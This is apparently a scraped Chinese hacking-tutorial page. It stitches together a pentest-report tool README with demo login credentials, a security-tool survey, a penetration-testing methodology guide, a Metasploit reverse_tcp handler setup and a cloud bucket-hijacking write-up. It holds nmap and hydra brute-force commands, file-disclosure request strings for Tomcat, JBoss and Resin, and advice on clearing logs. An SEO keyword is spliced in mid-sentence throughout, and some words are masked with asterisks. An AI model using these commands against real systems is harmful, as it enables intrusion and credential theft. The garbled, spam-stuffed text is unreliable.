心东渗透测试工具包,心东渗透测试 *** 视频课程
作者:hacker | 分类:黑客教程 | 浏览:128 | 日期:2023年02月10日目录:
渗透测试报告自动生成工具
公众号:白帽子左一
领取配套练手靶场、安全 *** 课程及工具...
在安服仔的日子里,发现其他人输出的渗透测试报告结果不规范,主要在报告质量、内容、字体、及修复方案中存在诸多问题,而且 大部分安服仔需要对每次的项目结果进行统计整理,方便后续跟踪复测。
因此研发了 Savior—渗透测试报告辅助生成系统 , 起这个名字也是为了拯救大多数渗透测试工程师,
告别繁琐的渗透测试报告编写过程及漏洞统计过程。
前端 : Ant Design Pro
后端 : Django REST Framework
数据库 : Mysql
用户管理 : 主要是方便统计漏洞的发现者,后续可能大概也许会添加漏洞统计模块,根据提交数据、漏洞类型、时间等进行统计报表,当前用户管理模块仅允许通过Django后台进行修改,前端只负责展示,主要是心东渗透测试工具包我太懒了。
项目管理 : 根据项目的不同可上传项目的专属渗透测报告模板,并可以根据需要进行模板自定义模板(/Demo/demo.docx)心东渗透测试工具包;
模板自定义 : 不用修改源代码,仅需修改word即可进行模板自定义心东渗透测试工具包;
整改建议管理 : 此平台主要就是为了体现标准化输出,因此可通过内置漏洞描述及修复建议进行快速输出,并支持自定义修改(/Demo/常规WEB渗透测试漏洞描述及修复 *** .docx);
一键生成: 通过提交报告模块,内联项目模板,快速生成渗透测试报告,真正达到了一键生成,并确保报告内数据准确、字体统一、格式标准;
自动邮件: 在生成报告后可通过用户管理配置的自动邮件发送功能进行邮件通知,可自定义邮件模板,这样再报告给客户的时候就可以直接转发了(暖男功能);
漏洞统计: 每次渗透过后,需要挨个查找报告进行统计整理,现在只要提交报告后,后台会自动联动;
漏洞报表一键导出
漏洞跟踪: 增加了漏洞状态字段,创建报告后,漏洞状态默认为新增,漏洞管理模块可进行复测,包括已整改、未整改两种状态;
Demo :
演示账号 :admin
演示密码 : Savior@404
首先将代码clone到本地:
Docker部署
我们推荐使用Docker进行部署,相对于源码部署更为简单和快速。
部署前请务必先安装 Docker 及 docker-compose 。
修改配置文件
首先复制根目录的 .env.docker 并重命名为 .env , 修改其中的Email Settings和initial Administrator配置。
这两个配置分别控制邮件提醒,以及初始管理帐号密码及邮箱。
同时需要注意以下两点:
1. 务必把邮箱修改为自己邮箱,不然可能会出现非预期错误心东渗透测试工具包!
2. 如果使用阿里云、腾讯云服务器,请使用 *** tp的ssl协议,两家云厂商默认封禁了25端口。
一键启动
访问 即可看到页面。
修改启动端口
如果想修改启动端口,可以修改docker-compose.yaml文件中web容器的ports。
默认为8000:8000,比如要修改为8080端口可改为8080:8000。
所需环境:
前端环境
环境变量设置 创建字符集为utf-8编码的数据库。
复制**.env.docker为.env**,并配置数据库、邮箱、管理员等信息。
后端环境
源码部署环境:
前台页面 :
Django管理后台:
其中Savior平台包含两个后台页面。考虑到安全性,目前用户管理、项目管理托管于Django管理后台(主要是这两个模块不会写),其余功能均可通过前台页面实现。
前台页面 :
Django管理后台 :
访问Django管理后台: ,
请完善API用户的Name、Avatar、Autosentmail三个字段,分别控制报告的作者、头像(图片Url)、生成报告后自动发送渗透测试报告到邮箱。
访问Django管理后台:
请通过APIProjects进行添加项目,可根据不通项目选择不通的渗透测试报告模板。
参数说明:Project logo(项目Logo)、Project center(项目名称)、Project description(项目描述)、Project template(渗透测试报告模板,目前标准模板可使用Demo/demo.docx,如需自定义模板,请参考模版自定义部分)
访问 可进入Savior平台,通过个人设置整改设置添加漏洞模板可进行设置漏洞类型、漏洞描述、修复建议从而达到标准化。
目前整理了一些通用的修复建议模板,请参考Demo/常规WEB渗透测试漏洞描述及修复 *** .docx。
目前根据我经常使用的渗透测试报告模板生成了一个demo版本(请参考/Demo/demo.docx)。
当然您也可以根据自己的需求进行模板自定义,其中仅需在WORD模板中进行参数替换,目前Savior中具体参数如下:
以下漏洞详情请利用{%tr for vuls in vuls %}{%tr endfor %}进行循环遍历。
如想列出所有漏洞URL,则使用参数{%tr for vuls in vuls %}{{item.vul_url}}{%tr endfor %}
注: Savior平台渗透测试模板遵循Jinja2语法,更多内容请参考
如果我们完善了用户信息、项目管理、整改设置后,就可以通过前端页面进行创建报告,其大概流程如下:首先完善报告的基本信息。
选择漏洞管理的添加漏洞功能。选择漏洞类型后,漏洞名称、漏洞描述、修复建议会根据整改设置进行自动联动,并可根据需求进行自定义修改。
需要注意的是漏洞详情处如果需要插入XSS语句,请进行url编码后进行输入心东渗透测试工具包!
注: 未提交前请勿刷新页面,此时漏洞详情保存为前端。提交后会自动生成渗透测试报告并进行下载。
打开报告会提示更新域,更新请选择是,再选择更新整个目录,此问题主要是为了更新目录,不然渗透测试报告中目录无法自动更新。
如果在用户管理打开了Autosentmail功能,渗透测试报告会自动发送至我们邮箱,方便转给甲方爸爸。
访问Savior平台,选择漏洞列表可进行漏洞统计并进行漏洞复测。
其中漏洞包含三个状态(新发现、已修复、未修复)。
通过选择导出数据功能,可将漏洞列表导出为Excle。
用户管理、项目管理迁移至前端
大数据看板
感谢 echo503 提供的项目帮助
感谢 lp0int 提供的项目帮助
项目框架及 Docker 部署参考 Github-Monitor:( )
原文地址:
更受欢迎的软件安全性测试工具有哪些?
之前在做 国内软件测试现状调查 之时心东渗透测试工具包,因为安全性测试工具太多心东渗透测试工具包,结果显示其分布比较广,填写“其它”占心东渗透测试工具包的比重很高(66%),为此专门做了一个调查 ,虽然收集的有效反馈不多(不到100),但基本反映了测试工具的使用现状。
1. 从总体看,(静态的)代码分析工具和(动态的)渗透测试工具应用还是比较普遍 ,超过60%,而且渗透测试工具(73.68%)略显优势,高出10%。模糊测试工具,可能大家感觉陌生,低至16%,但它在安全性、可靠性测试中还是能发挥作用的。从理论上看,代码分析工具应该能达到95%以上,因为它易用,且安全性已经是许多公司的红线,得到足够重视。 希望以后各个公司能够加强代码分析工具和模糊测试工具的应用。
2. Java代码安全性分析工具前三名是 心东渗透测试工具包: IBM AppScan Source Edition(42.11%)、Fotify Static Code Analyzer(36.84%)、Findbugs(26.32%) ,而JTest、PMD等没进入前三名,虽然和第3名差距不大,只有5%左右。也有公司使用Checkmarx,不在此调查中。Coverity也支持Java,可能Java的开源工具较多,人们很少用它。
3. C/C++代码安全性分析工具前三名是 心东渗透测试工具包: C++Test(38.89%)、IBM AppScan Source Edition(38.89%)、Fotify Static Code Analyzer(27.78%)、Visual Studio(27.78%) 。Coverity、CppCheck、LDRA Testbed 没能进入前三名,可能LDRA Testbed比较贵,关键的嵌入式软件采用比较多,而Coverity Cloud针对Github等上面的代码有免费服务(),大家可以尝试应用。
4. JavaScript代码安全性分析工具应用最多的是 Google's Closure Compiler,其次是 *** Hint,也有的公司用Coverity来进行 *** 的代码分析。
5. Python代码安全性分析工具应用最多的是Pychecker ,其次是PyCharm,而Pylint使用比较少,也有几个公司用Coverity来进行Python的代码分析。
6. Web应用安全性测试的商用工具中,IBM AppScan异军突起 ,高达70%的市场,其它商用工具无法与它抗衡,第2名SoapUI和它差距在50%以上,HP webInspect 不到10%。
7. Web应用安全性测试的开源工具中,Firebug明显领先 ,将近50%,比第2名OWASP ZAP高12%,第三名是Firefox Web Developer Tools,超过了20%。
8. Android App的安全性测试工具中,Android Tamer领先 ,将近30%,比第2、3名AndroBugs、Mobisec、Santoku高15%左右。也有用其它不在调查项中的工具,总体看,Android App安全性测试工具分布比较散。
9. *** 状态监控与分析工具中,Wireshark遥遥领先,超过70%。 其次就是Tcpdump、Burp Suite,占30%左右。 *** 状态监控与分析工具挺多的,但从这次调查看,越来越集中到几个工具中,特别是Wireshark功能强,覆盖的协议比较多,深受欢迎。
10. SQL注入测试工具排在前三位的:SQLInjector、SQL Power Injector、OWASP SQLiX, 三者比较接近,差距在6%左右。其它两项工具Pangolin、SQLSqueal也占了10%,而Antonio Parata、Blind SQL Injections、Bsqlbf-v2、Multiple DBMS Sql Injection、Sqlninja几乎没什么人用。
安全性测试工具很多,还包括黑客常用的一些工具,如暴力破解口令工具、端口扫描工具、防火墙渗透工具、渗透测试平台等。从某种意义看,它们超出软件范畴,更多属于 *** 空间安全、密码学等范畴,在此就不展开了。概括起来更受欢迎的软件安全性测试工具有:
如何对网站进行渗透测试和漏洞扫描
零、前言
渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为。 这里我们提供的所有渗透测试 *** 均为(假设为)合法的评估服务,也就是通常所说的道德黑客行为(Ethical hacking),因此我们这里的所有读者应当都是Ethical Hackers,如果您还不是,那么我希望您到过这里后会成为他们中的一员 ;)
这里,我还想对大家说一些话:渗透测试重在实践,您需要一颗永不言败的心和一个有着活跃思维的大脑。不是说您将这一份文档COPY到您网站上或者保存到本地电脑您就会了,即使您将它打印出来沾点辣椒酱吃了也不行,您一定要根据文档一步一步练习才行。而且测试重在用脑,千万别拿上一两个本文中提到的工具一阵乱搞,我敢保证:互联网的安全不为因为这样而更安全。祝您好运。。。
一、简介
什么叫渗透测试?
渗透测试最简单直接的解释就是:完全站在攻击者角度对目标系统进行的安全性测试过程。
进行渗透测试的目的?
了解当前系统的安全性、了解攻击者可能利用的途径。它能够让管理人员非常直观的了解当前系统所面临的问题。为什么说叫直观呢?就像Mitnick书里面提到的那样,安全管理(在这里我们改一下,改成安全评估工作)需要做到面面俱到才算成功,而一位黑客(渗透测试)只要能通过一点进入系统进行破坏,他就算是很成功的了。
渗透测试是否等同于风险评估?
不是,你可以暂时理解成渗透测试属于风险评估的一部分。事实上,风险评估远比渗透测试复杂的多,它除渗透测试外还要加上资产识别,风险分析,除此之外,也还包括了人工审查以及后期的优化部分(可选)。
已经进行了安全审查,还需要渗透测试吗?
如果我对您说:嘿,中国的现有太空理论技术通过计算机演算已经能够证明中国完全有能力实现宇航员太空漫步了,没必要再发射神8了。您能接受吗?
渗透测试是否就是黑盒测试?
否,很多技术人员对这个问题都存在这个错误的理解。渗透测试不只是要模拟外部黑客的入侵,同时,防止内部人员的有意识(无意识)攻击也是很有必要的。这时,安全测试人员可以被告之包括代码片段来内的有关于系统的一些信息。这时,它就满足灰盒甚至白盒测试。
渗透测试涉及哪些内容?
技术层面主要包括 *** 设备,主机,数据库,应用系统。另外可以考虑加入社会工程学(入侵的艺术/THE ART OF INTRUSION)。
渗透测试有哪些不足之处?
主要是投入高,风险高。而且必须是专业的Ethical Hackers才能相信输出的最终结果。
你说的那么好,为什么渗透测试工作在中国开展的不是很火热呢?
我只能说:会的,一定会的。渗透测试的关键在于没法证明你的测试结果就是完善的。用户不知道花了钱证明了系统有问题以后,自己的安全等级到了一个什么程序。但是很显然,用户是相信一个专业且经验丰富的安全团队的,这个在中国问题比较严重。在我接触了一些大型的安全公司进行的一些渗透测试过程来看,测试人员的水平是对不住开的那些价格的,而且从测试过程到结果报表上来看也是不负责的。我估计在三年以后,这种情况会有所改观,到时一方面安全人员的技术力量有很大程度的改观,另一方面各企业对渗透测试会有一个比较深刻的理解,也会将其做为一种IT审计的方式加入到开发流程中去。渗透测试的专业化、商业化会越来越成熟。
二、制定实施方案
实施方案应当由测试方与客户之间进行沟通协商。一开始测试方提供一份简单的问卷调查了解客户对测试的基本接收情况。内容包括但不限于如下:
目标系统介绍、重点保护对象及特性。
是否允许数据破坏?
是否允许阻断业务正常运行?
测试之前是否应当知会相关部门接口人?
接入方式?外网和内网?
测试是发现问题就算成功,还是尽可能的发现多的问题?
渗透过程是否需要考虑社会工程?
。。。
在得到客户反馈后,由测试方书写实施方案初稿并提交给客户,由客户进行审核。在审核完成后,客户应当对测试方进行书面委托授权。这里,两部分文档分别应当包含如下内容:
实施方案部分:
...
书面委托授权部分:
...
三、具体操作过程
1、信息收集过程
*** 信息收集:
在这一部还不会直接对被测目标进行扫描,应当先从 *** 上搜索一些相关信息,包括Google Hacking, Whois查询, DNS等信息(如果考虑进行社会工程学的话,这里还可以相应从邮件列表/新闻组中获取目标系统中一些边缘信息如内部员工帐号组成,身份识别方式,邮件联系地址等)。
1.使用whois查询目标域名的DNS服务器
2.nslookup
set type=all
domain
server ns server
set q=all
ls -d domain
涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs 除此之外,我想特别提醒一下使用Googlebot/2.1绕过一些文件的获取限制。
Google hacking 中常用的一些语法描述
1.搜索指定站点关键字site。你可以搜索具体的站点如site:。使用site:nosec.org可以搜索该域名下的所有子域名的页面。甚至可以使用site:org.cn来搜索中国 *** 部门的网站。
2.搜索在URL网址中的关键字inurl。比如你想搜索带参数的站点,你可以尝试用inurl:asp?id=
3.搜索在网页标题中的关键字intitle。如果你想搜索一些登陆后台,你可以尝试使用intitle:"admin login"
目标系统信息收集:
通过上面一步,我们应当可以简单的描绘出目标系统的 *** 结构,如公司 *** 所在区域,子公司IP地址分布,VPN接入地址等。这里特别要注意一些比较偏门的HOST名称地址,如一些backup开头或者temp开关的域名很可能就是一台备份服务器,其安全性很可能做的不够。
从获取的地址列表中进行系统判断,了解其组织架构及操作系统使用情况。最常用的 *** 的是目标所有IP网段扫描。
端口/服务信息收集:
这一部分已经可以开始直接的扫描操作,涉及的工具包括:nmap,thc-amap
1.我最常使用的参数
nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 ip address
应用信息收集:httprint,SIPSCAN, *** ap
这里有必要将SNMP拿出来单独说一下,因为目前许多运营商、大型企业内部 *** 的维护台通过SNMP进行数据传输,大部分情况是使用了默认口令的,撑死改了private口令。这样,攻击者可以通过它收集到很多有效信息。snmp-gui,HiliSoft MIB Browser,mibsearch,net-snmp都是一些很好的资源。
2、漏洞扫描
这一步主要针对具体系统目标进行。如通过之一步的信息收集,已经得到了目标系统的IP地址分布及对应的域名,并且我们已经通过一些分析过滤出少许的几个攻击目标,这时,我们就可以针对它们进行有针对性的漏洞扫描。这里有几个方面可以进行:
针对系统层面的工具有:ISS, Nessus, SSS, Retina, 天镜, 极光
针对WEB应用层面的工具有:AppScan, Acunetix Web Vulnerability Scanner, WebInspect, Nstalker
针对数据库的工具有:ShadowDatabaseScanner, NGSSQuirreL
针对VOIP方面的工具有:PROTOS c07 sip(在测试中直接用这个工具轰等于找死)以及c07 h225, Sivus, sipsak等。
事实上,每个渗透测试团队或多或少都会有自己的测试工具包,在漏洞扫描这一块针对具体应用的工具也比较个性化。
3、漏洞利用
有时候,通过服务/应用扫描后,我们可以跳过漏洞扫描部分,直接到漏洞利用。因为很多情况下我们根据目标服务/应用的版本就可以到一些安全网站上获取针对该目标系统的漏洞利用代码,如milw0rm, securityfocus,packetstormsecurity等网站,上面都对应有搜索模块。实在没有,我们也可以尝试在GOOGLE上搜索“应用名称 exploit”、“应用名称 vulnerability”等关键字。
当然,大部分情况下你都可以不这么麻烦, *** 中有一些工具可供我们使用,最著名的当属metasploit了,它是一个开源免费的漏洞利用攻击平台。其他的多说无益,您就看它从榜上无名到冲进前五(top 100)这一点来说,也能大概了解到它的威力了。除此之外,如果您(您们公司)有足够的moeny用于购买商用软件的话,CORE IMPACT是相当值得考虑的,虽然说价格很高,但是它却是被业界公认在渗透测试方面的泰山北斗,基本上测试全自动。如果您觉得还是接受不了,那么您可以去购买CANVAS,据说有不少0DAY,不过它跟metasploit一样,是需要手动进行测试的。最后还有一个需要提及一下的Exploitation_Framework,它相当于一个漏洞利用代码管理工具,方便进行不同语言,不同平台的利用代码收集,把它也放在这里是因为它本身也维护了一个exploit库,大家参考着也能使用。
上面提到的是针对系统进行的,在针对WEB方面,注入工具有NBSI, OWASP SQLiX, SQL Power Injector, sqlDumper, sqlninja, sqlmap, Sqlbftools, priamos, ISR-sqlget***等等。
在针对数据库方面的工具有:
数据库 工具列表 Oracle(1521端口): 目前主要存在以下方面的安全问题:
1、TNS监听程序攻击(sid信息泄露,停止服务等)
2、默认账号(default password list)
3、SQL INJECTION(这个与传统的意思还不太一样)
4、缓冲区溢出,现在比较少了。 thc-orakel, tnscmd, oscanner, Getsids, TNSLSNR, lsnrcheck, OAT, Checkpwd, orabf MS Sql Server(1433、1434端口) Mysql(3306端口) DB2(523、50000、50001、50002、50003端口) db2utils Informix(1526、1528端口)
在针对Web服务器方面的工具有:
WEB服务器 工具列表 IIS IISPUTSCANNER Tomcat 想起/admin和/manager管理目录了吗?另外,目录列表也是Tomcat服务器中最常见的问题。比如5.*版本中的;index.jsp
"../manager/html
;cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B
;cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B JBOSS jboss的漏洞很少,老版本中8083端口有%符号的漏洞:
GET %. HTTP/1.0可以获取物理路径信息,
GET %server.policy HTTP/1.0可以获取安全策略配置文档。
你也可以直接访问GET %org/xxx/lib.class来获取编译好的java程序,再使用一些反编译工具还原源代码。 Apache Resin
;servletpath=file=WEB-INF/web.xml
;servletpath=file=WEB-INF/classes/com/webapp/app/target.class
[path]/[device].[extension]
.."web-inf
[path]/%20.xtp WebLogic
Web安全测试主要围绕几块进行:
Information Gathering:也就是一般的信息泄漏,包括异常情况下的路径泄漏、文件归档查找等
Business logic testing:业务逻辑处理攻击,很多情况下用于进行业务绕过或者欺骗等等
Authentication Testing:有无验证码、有无次数限制等,总之就是看能不能暴力破解或者说容不容易通过认证,比较直接的就是“默认口令”或者弱口令了
Session Management Testing:会话管理攻击在COOKIE携带认证信息时最有效
Data Validation Testing:数据验证更好理解了,就是SQL Injection和Cross Site Script等等
目前网上能够找到许多能够用于进行Web测试的工具,根据不同的功能分主要有:
枚举(Enumeration): DirBuster, http-dir-enum, wget
基于 *** 测试类工具:paros, webscarab, Burp Suite
针对WebService测试的部分有一些尚不是很成熟的工具,如:w *** ang,wschess,w *** ap,wsdigger,wsfuzzer
这一部分值得一提的是,很多渗透测试团队都有着自己的测试工具甚至是0DAY代码,最常见的是SQL注入工具,现网开发的注入工具(如NBSI等)目前都是针对中小企业或者是个人站点/数据库进行的,针对大型目标系统使用的一些相对比较偏门的数据库系统(如INFORMIX,DB2)等,基本上还不涉及或者说还不够深入。这时各渗透测试团队就开发了满足自身使用习惯的测试工具。
在针对无线环境的攻击有:WifiZoo
4、权限提升
在前面的一些工作中,你或许已经得到了一些控制权限,但是对于进一步攻击来说却还是不够。例如:你可能很容易的能够获取Oracle数据库的访问权限,或者是得到了UNIX(AIX,HP-UX,SUNOS)的一个基本账号权限,但是当你想进行进一步的渗透测试的时候问题就来了。你发现你没有足够的权限打开一些密码存储文件、你没有办法安装一个SNIFFER、你甚至没有权限执行一些很基本的命令。这时候你自然而然的就会想到权限提升这个途径了。
目前一些企业对于补丁管理是存在很大一部分问题的,他们可能压根就没有想过对一些服务器或者应用进行补丁更新,或者是延时更新。这时候就是渗透测试人员的好机会了。经验之谈:有一般权限的Oracle账号或者AIX账号基本上等于root,因为这就是现实生活。
5、密码破解
有时候,目标系统任何方面的配置都是无懈可击的,但是并不是说就完全没办法进入。最简单的说,一个缺少密码完全策略的论证系统就等于你安装了一个不能关闭的防盗门。很多情况下,一些安全技术研究人员对此不屑一顾,但是无数次的安全事故结果证明,往往破坏力更大的攻击起源于最小的弱点,例如弱口令、目录列表、SQL注入绕过论证等等。所以说,对于一些专门的安全技术研究人员来说,这一块意义不大,但是对于一个ethical hacker来说,这一步骤是有必要而且绝大部分情况下是必须的。;)
目前比较好的 *** 密码暴力破解工具有:thc-hydra,brutus
hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 ftp
目前 *** 中有一种资源被利用的很广泛,那就是rainbow table技术,说白了也就是一个HASH对应表,有一些网站提供了该种服务,对外宣称存储空间大于多少G,像rainbowcrack更是对外宣称其数据量已经大于1.3T。
针对此种方式对外提供在线服务的有:
网址 描述 rainbowcrack 里面对应了多种加密算法的HASH。 数据量全球之一,如果本站无法破解,那么你只能去拜春哥...
当然,有些单机破解软件还是必不可少的:Ophcrack,rainbowcrack(国人开发,赞一个),cain,L0phtCrack(破解Windows密码),John the Ripper(破解UNIX/LINUX)密码,当然,还少不了一个FindPass...
针对 *** 设备的一些默认帐号,你可以查询和
在渗透测试过程中,一旦有机会接触一些OFFICE文档,且被加了密的话,那么,rixler是您马上要去的地方,他们提供的OFFICE密码套件能在瞬间打开OFFICE文档(2007中我没有试过,大家有机会测试的话请给我发一份测试结果说明,谢谢)。看来微软有理由来个补丁什么的了。对于企业来说,您可以考虑使用铁卷或者RMS了。
6、日志清除
It is not necessary actually.
7、进一步渗透
攻入了DMZ区一般情况下我们也不会获取多少用价值的信息。为了进一步巩固战果,我们需要进行进一步的内网渗透。到这一步就真的算是无所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺骗)。当然,最简单的你可以翻翻已入侵机器上的一些文件,很可能就包含了你需要的一些连接帐号。比如说你入侵了一台Web服务器,那么绝大部分情况下你可以在页面的代码或者某个配置文件中找到连接数据库的帐号。你也可以打开一些日志文件看一看。
除此之外,你可以直接回到第二步漏洞扫描来进行。
四、生成报告
报告中应当包含:
薄弱点列表清单(按照严重等级排序)
薄弱点详细描述(利用 *** )
解决 *** 建议
参与人员/测试时间/内网/外网
五、测试过程中的风险及规避
在测试过程中无可避免的可能会发生很多可预见和不可预见的风险,测试方必须提供规避措施以免对系统造成重大的影响。以下一些可供参考:
1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。
2. 测试验证时间放在业务量最小的时间进行。
3. 测试执行前确保相关数据进行备份。
4. 所有测试在执行前和维护人员进行沟通确认。
5. 在测试过程中出现异常情况时立即停止测试并及时恢复系统。
6. 对原始业务系统进行一个完全的镜像环境,在镜像环境上进行渗透测试。
【渗透测试】-工具之MSF
msf是一款漏洞利用平台的工具
use exploit/multi/handler 设置接收反弹模块
set payload windows/meterpreter/reverse_tcp 设置反弹结果处理载荷
show options 查看配置选项
Show targets 查看攻击目标
set LHOST 192.168.1.111 设置本地监听地址192.168.1.111
exploit 执行
*** 安全之一个渗透测试小案例
几天前,收到一个国外目标(公司)的渗透测试任务,时间为两周;
大概看了一下目标是类似于国内阿里云那样提供云服务的平台;
常规信息收集过后,尝试渗透三天无果... 于是下班前只能祭出我的"大杀器"---缝合怪.py。缝合了一些好用的扫描器,一键 XRAY多线程批量扫 + 自动添加任务到AWVS + 自动添加任务到arl + ...加入资产后就下班回家了。
到了第二天一看扫描结果,心里暗道不妙,md坏起来了啊。。。
扫描器里一个洞都没,goby里所有资产显示只开放两个端口80、443。
不慌,问题不大,时间还长,接下来要做的,就是整理思路,重新来过。
在重新整理之前收集到的资产中,发现测试目标的旁站有一个有趣的404页面:
NoSuchBucket + BucketaName
想到了 阿里云 的bucket劫持漏洞,幸福来得太突然了。
使用测试账号登录自己的云平台尝试进行劫持:
1.点击对象存储服务:
2.点击创建桶:
3.桶的名字为BucketName字段:
4.将访问控制权限更改为公共读写:
5.点击对象,创建hack.txt:
6.完成后刷新 为如下 :
发现BucketName字段消失了,原来的NoSuchBucket也变成了NoSuchCustomDomain,说明我们的修改对它造成了影响!
7.NoSuchCustomDomain?那我们就来给他设置一个,点击域名管理尝试绑定域名:
8.访问
9.访问: (hack.txt为我们刚才上传的)
(后期尝试上传图片,html等文件均可)
[图片上传中...(-8136f3-1631536782821-0)]
劫持成功!拿来吧你!
漏洞危害:劫持Bucket,并开放匿名读取功能。可以挂黑页或引用js文件,攻击者可以上传恶意js文件,去盗取用户信息。。。
2021最新整理 *** 安全\渗透测试/安全学习( *** 视频、大厂面经、精品手册、必备工具包)一点我一